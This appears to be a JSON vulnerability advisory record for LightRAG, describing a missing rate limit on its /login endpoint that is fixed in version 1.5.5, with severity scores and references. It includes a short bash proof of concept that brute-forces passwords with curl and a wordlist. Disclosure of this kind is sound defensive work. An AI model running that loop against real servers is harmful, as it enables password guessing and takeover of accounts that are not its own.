{"id":"CVE-2026-85734","aliases":["CVE-2026-85734","GHSA-frch-4w6v-q5xx","PYSEC-2026-4062"],"related":[],"kind":"vulnerability","state":"published","title":"LightRAG: No Rate Limiting on /login Endpoint Allows Brute-Force Attacks","summary":"LightRAG provides simple and fast retrieval-augmented generation. Prior to 1.5.5, the POST /login endpoint in lightrag/api/lightrag_server.py does not impose a rate limit, account lockout, delay, or counter for failed authentication attempts. A network attacker can submit password guesses at full request speed until a valid account password is found. Successful credential recovery grants authenticated access to documents, the knowledge graph, and administrative operations. This issue is fixed in version 1.5.5.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"LightRAG provides simple and fast retrieval-augmented generation. Prior to 1.5.5, the POST /login endpoint in lightrag/api/lightrag_server.py does not impose a rate limit, account lockout, delay, or counter for failed authentication attempts. A network attacker can submit password guesses at full request speed until a valid account password is found. Successful credential recovery grants authenticated access to documents, the knowledge graph, and administrative operations. This issue is fixed in version 1.5.5.","source":"cvelist"},{"lang":"en","text":"### Summary\nThe POST /login endpoint has no rate limiting, account lockout, or delay on failed attempts. An attacker can submit unlimited password guesses at full network speed.\n\n### Details\n\n```python\n# lightrag/api/lightrag_server.py:2161\n@app.post(\"/login\")\nasync def login(form_data: OAuth2PasswordRequestForm = Depends()):\n    if not auth_handler.verify_password(username, form_data.password):\n        raise HTTPException(status_code=401, detail=\"Incorrect credentials\")\n    # No: rate limit / lockout / backoff / CAPTCHA / attempt counter\n```\n\nA search for slowapi, rate_limit, lockout, or throttle in lightrag/api/ returns zero results.\n\n### PoC\n\n```bash\n# Brute-force /login with a wordlist, no throttling\nwhile IFS= read -r pass; do\n  code=$(curl -s -o /dev/null -w \"%{http_code}\" \\\n    -X POST http://<TARGET>:9621/login \\\n    -d \"username=admin&password=${pass}\")\n  [ \"$code\" = \"200\" ] && echo \"[FOUND] $pass\" && break\ndone < /usr/share/wordlists/rockyou.txt\n```\n\n### Impact\nImproper restriction of authentication attempts. Any network-reachable attacker can brute-force user passwords without restriction. Once credentials are recovered, the attacker gains full authenticated access to all documents, knowledge graph, and administrative operations.","format":"markdown","source":"ghsa"}],"published":"2026-09-22T16:18:14.144Z","modified":"2026-10-01T17:56:08.809Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","score":9.1,"rating":"CRITICAL"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","score":9.1,"rating":"CRITICAL"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","score":9.1,"rating":"CRITICAL"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","score":9.1,"rating":"CRITICAL"}],"cwes":["CWE-307"],"affected":[{"ranges":[{"version":"< 1.5.5","status":"affected"}],"vendor":"HKUDS","product":"LightRAG","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"1.5.5"}],"ecosystem":"PyPI","package":"lightrag-hku","purl":"pkg:pypi/lightrag-hku","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"1.5.5"}],"ecosystem":"PyPI","package":"lightrag-hku","purl":"pkg:pypi/lightrag-hku","source":"pysec"}],"references":[{"url":"https://github.com/HKUDS/LightRAG/security/advisories/GHSA-frch-4w6v-q5xx","tags":["web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/HKUDS/LightRAG/pull/3424","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/HKUDS/LightRAG/commit/135bc9056e9ecd800c1abe2f2ce24d1a86622a54","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/HKUDS/LightRAG/releases/tag/v1.5.5","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85734","tags":["advisory"],"sources":["ghsa","pysec"]},{"url":"https://github.com/HKUDS/LightRAG","tags":["package"],"sources":["ghsa","pysec"]},{"url":"https://pypi.org/project/lightrag-hku","tags":["package"],"sources":["pysec"]},{"url":"https://github.com/advisories/GHSA-frch-4w6v-q5xx","tags":["advisory"],"sources":["pysec"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"none","automatable":"yes","technicalImpact":"total","date":"2026-09-22T17:36:54.076Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-85734","url":"https://www.cve.org/CVERecord?id=CVE-2026-85734","licence":"CVE Terms of Use","modified":"2026-09-22T17:43:42.025Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-frch-4w6v-q5xx","url":"https://github.com/advisories/GHSA-frch-4w6v-q5xx","licence":"CC-BY-4.0","modified":"2026-10-01T17:56:08.809Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-85734","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85734","licence":"Public domain","modified":"2026-09-22T18:17:23.530Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-4062","url":"https://osv.dev/vulnerability/PYSEC-2026-4062","licence":"CC-BY-4.0","modified":"2026-10-01T17:45:05.547Z"}],"updatedAt":"2026-11-25T22:59:40.480Z","epss":{"score":0.00355,"percentile":0.31297,"date":"2026-12-01T12:00:22.000Z"}}